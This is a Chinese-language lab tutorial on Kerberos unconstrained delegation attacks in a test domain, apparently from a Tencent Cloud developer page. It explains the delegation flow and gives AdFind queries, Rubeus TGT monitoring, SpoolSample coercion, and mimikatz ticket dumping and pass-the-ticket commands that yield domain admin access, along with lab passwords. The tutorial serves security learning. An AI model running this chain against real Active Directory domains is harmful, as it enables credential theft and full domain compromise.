非约束委派攻击
简介
委派
在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C，这个过程就可以理解为委派
例:
User访问主机S2上的HTTP服务，此时要想完整的使用HTTP服务，需再访问S3主机上的SQL数据库，但S2并不知道域用户是否拥有权限访问S3上的数据库服务权限，这时为了验证权限，S2会带着User的访问权限去申请访问SQL数据库，若User拥有权限才可进行访问。非约束委派
非约束委派Kerberos中实现时，User会将自KDC拿到的TGT发送给访问的服务机器Service1,Service1再通过拿到手的TGT票据去申请访问其他域内服务，Service1在拿到用户的TGT票据后，会对其留存，以便下次备用，这时，我们便可在拿下的Service1机器中拿到域用户的TGT票据，从而访问域内的可访问服务(域管用户可访问任意服务)
非约束委派流程图
流程
1.用户发KPB_AS_REQ消息请求[可转发TGT（forwardable TGT）] ,为了方便，先将其称之为TGT1。
2.KDC在KPB_AS_REQ中返回给User TGT1。
3.用户再通过TGT1向KDC请求转发TGT（forwardedTGT，我们称之为TGT2）。
4.在KRB_TGS_REP消息中返回Forwarded TGT 给User
5.User使用TGT1向KDC申请访问service1的ST(service Ticket)
6.KDC返回给用户一个ST
7.User发送KRB_AP_REQ请求至service1，这个请求包括了TGT1和ST、TGT2、TGT2的sessionKey。
8.service1使用用户的TGT2使用KRB_TGS_REQ发送给KDC，以用户的名义申请可以访问service2的票据.
9.KDC在KRB_TGS_REP消息中返回service2到service1的票据.
10.Service1以用户的名义向Service2发起KRB_AP_REQ请求.
11.Service2响应步骤10中的Service1请求。
12.Service1响应步骤7中用户的请求。
13.在这个过程中的TGT转发机制，没有限制Service1对TGT2的使用，也就是说Service1可以通过TGT2来请求任意服务。
14.KDC返回步骤13中请求的票据
15.和16即为Service1通过模拟用户来访问其他Service。下面对非约束委派进行复现利用
非约束委派配置
setspn -U -A MSSQLvc/mssql.vulntarget.com:1433 win2016
当DC配置SPN给域用户Win2016时，在域内将可产生对域用户的委派，我们可以看到，域管理员勾选win2016用户的委派-信任此用户作为任何服务的委派时，将会造成非约束委派的问题。
非约束委派其特征
当域用户或机器被设置了非约束委派时，其userAccountControl属性将会包含一个名为”TRUSTED_FOR_DELEGATION”的标志。
我们可以在ADSI编辑器中找到
探测域内是否存在非约束委派
win2019 10.0.10.110 dc vulntarget\win2019::Admin@666
win2016 10.0.10.111 域内机器 vulntarget\win2016::Admin#123查找利用账户时，我们暂且不考虑机器账户，因为拿到域内机器账户的票据后，我们无法用于远程访问，因此，我们在进行非约束委派攻击时，首先考虑域用户，但这并不意味着机器账户没有任何用处，当我们可以对机器账户进行非约束委派攻击时，我们可以根据拿到的机器账户TGT票据进行DCsync拿到域内hash等操作。
利用adfind查找域内启用了非约束委派的机器
adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
无需域用户账号密码查询非约束委派的域用户
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName利用adfind查找域内启用了非约束委派的域内用户
adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
无需密码查找域内非约束委派的主机
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName机器账户的非约束委派攻击
首先在具备非约束委派攻击条件的域内机器执行Rubeus.exe监控登录操作，并实时转储TGT,（此操作需要本地管理员权限）
Rubeus.exe monitor /interval:1 /filteruser:win2019$
利用spoolsample项目使域控强制认证域机器抓取转储tgt
SpoolSample.exe win2019 win2016
很遗憾，此处由于dc已是win2019 ，强制认证已经得到微软的修复，因此此处转储机器账户TGT失败。
**低版本域控强制认证成功案例待补充**
但再Win2019 以下如win2012 win2008等服务器内 ，使用spoolSample项目强制域控机认证域机器是有很大概率奏效的。
域用户的非约束委派攻击
倘若发现存在非约束委派的用户，这时，我们可以在域内所有可以登陆此用户的域内机器上尝试非约束委派攻击，获取其缓存的服务账号票据，并期望获得域控的票据。
根据前文所用的adfind.exe ，我们可以发现，在win2016机器上，具有我们执行域用户的非约束委派攻击的条件
此处为了演示效果，我们主动让域控对域内机器win2016发起认证
Enter-PSSession -ComputerName win2016
此时，在win2016机器内已经存储下来了域管账户的tgt票据。
在win2016机器内利用mimikatz转储票据(以管理员权限启动)
privilege::debug
kerberos::purge
sekurlsa::tickets /exports
可以看到转储成功，已拿到域管用户的tgt票据，接下来利用ptt hash传递，获得域管权限。
PTT之前，我们是无法通过Kerberos认证访问域控机的共享目录的
利用mimikatz进行ptt
kerberos::ptt [0;2c7f64]-2-0-60a10000-Administrator@krbtgt-VULNTARGET.COM.kirbi
此时已成功执行！
腾讯云开发者
